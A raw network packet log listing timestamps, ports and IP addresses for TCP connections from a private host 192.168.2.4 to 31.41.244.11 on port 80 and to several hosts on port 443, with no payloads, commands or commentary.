Nov 23, 2024 15:22:12.503420115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.504863977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.505028963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.505093098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.506364107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.506426096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.506483078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.507890940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.507944107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.507994890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.509387016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.509443045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.509511948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.509973049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.510891914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.510989904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.511043072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.512370110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.512484074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.512532949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.513856888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.513962984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.514025927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.515362024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.515418053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.515441895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.516815901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.516876936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.516968966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.517805099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.518315077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.518397093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.518451929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.519737005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.519828081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.519881010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.521192074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.521245956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.521296024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.521940947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.522594929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.522686005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.522742987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.524019957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.524106026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.524178982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.524188995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.525454044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.525563002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.525620937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.526802063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.526910067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.526972055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.528213024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.528278112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.528330088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.529582024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.529637098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.529752970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.530002117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.530211926 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.530364990 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.530894995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.530965090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.530966043 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.530991077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.531003952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.531011105 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.531032085 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.531059980 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.531075001 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.532237053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.532289028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.532339096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.532569885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.533622026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.533704042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.533714056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.533821106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.534215927 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.534265041 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.534344912 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.534570932 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.534584045 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.534948111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.534990072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.534997940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.535027027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.536233902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.536289930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.536323071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.536381960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.537528992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.537642956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.537692070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.538259983 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.538412094 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.538494110 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.538559914 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.538575888 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.538808107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.538863897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.538886070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.539992094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.540060997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.540155888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.541157961 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.541176081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.541217089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.541234016 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.541285038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.541320086 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.541337013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.541380882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.541682959 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.541717052 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.542471886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.542522907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.542591095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.542634964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.543673992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.543807030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.543857098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.544926882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.544970989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.545018911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.546125889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.546240091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.546288013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.547369957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.547454119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.547502041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.548481941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.548578024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.548613071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.548629999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.549628973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.549732924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.549772978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.549793959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.550833941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.550892115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.550925016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.550975084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.551961899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.552037954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.552092075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.553097963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.553180933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.553239107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.554239035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.554346085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.554399967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.555373907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.555432081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.555459023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.556540966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.556598902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.556600094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.556643963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.557538033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.557627916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.557687998 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.558583975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.558696985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.558754921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.559727907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.559758902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.559815884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.560769081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.560822964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.560947895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.562102079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.562165022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.562262058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.562315941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.562911034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.563009977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.563070059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.563997984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.564166069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.564225912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.565170050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.565289974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.565345049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.566129923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.566243887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.566299915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.567222118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.567337990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.567397118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.568253040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.568305969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.568366051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.569335938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.569385052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.569408894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.569493055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.570415020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.570497036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.570554972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.571469069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.571576118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.571634054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.572494030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.572513103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.572547913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.572590113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.573534966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.573630095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.573687077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.574548006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.574642897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.574698925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.575623989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.575725079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.575783968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.575783968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.576595068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.576669931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.577617884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.577637911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.577647924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.577656031 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.577677965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.577724934 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.577727079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.577790976 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.577959061 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.577977896 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.577989101 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.577995062 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.578608990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.578711987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.578741074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.578788996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.579524994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.579596043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.579647064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.580495119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.580545902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.580614090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.580792904 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.580813885 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.580816984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.580885887 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.581010103 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.581022024 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.581454992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.581507921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.581536055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.581768990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.582123041 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.582189083 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.582245111 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.582350016 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.582360983 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.582375050 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.582381010 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.582386017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.582428932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.582499981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.582541943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.583379030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.583466053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.583518028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.584259987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.584348917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.584369898 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.584383011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.584415913 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.584429026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.585196018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.585263014 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.585302114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.585330963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.585347891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.586126089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.586178064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.586221933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.587045908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.587162971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.587208986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.588073969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.588093996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.588136911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.588886976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.588974953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.589019060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.589792967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.589912891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.589930058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.589968920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.590698004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.590811014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.590856075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.591564894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.591682911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.591727972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.592472076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.592489004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.592535973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.593363047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.593405962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.593460083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.594209909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.594235897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.594362020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.594412088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.595146894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.595266104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.595315933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.596004963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.596112967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.596158981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.596880913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.596952915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.596997976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.597743034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.597830057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.597873926 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.598640919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.598670006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.598718882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.600759029 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.600795031 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:13.985172987 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:13.985205889 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:13.985388041 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:13.988452911 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:13.988466978 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:14.235554934 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.239691973 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.239705086 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.240279913 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.240292072 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.271590948 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.271749020 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.272216082 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.272238016 CET	443	49767	13.107.246.63	192.168.2.4
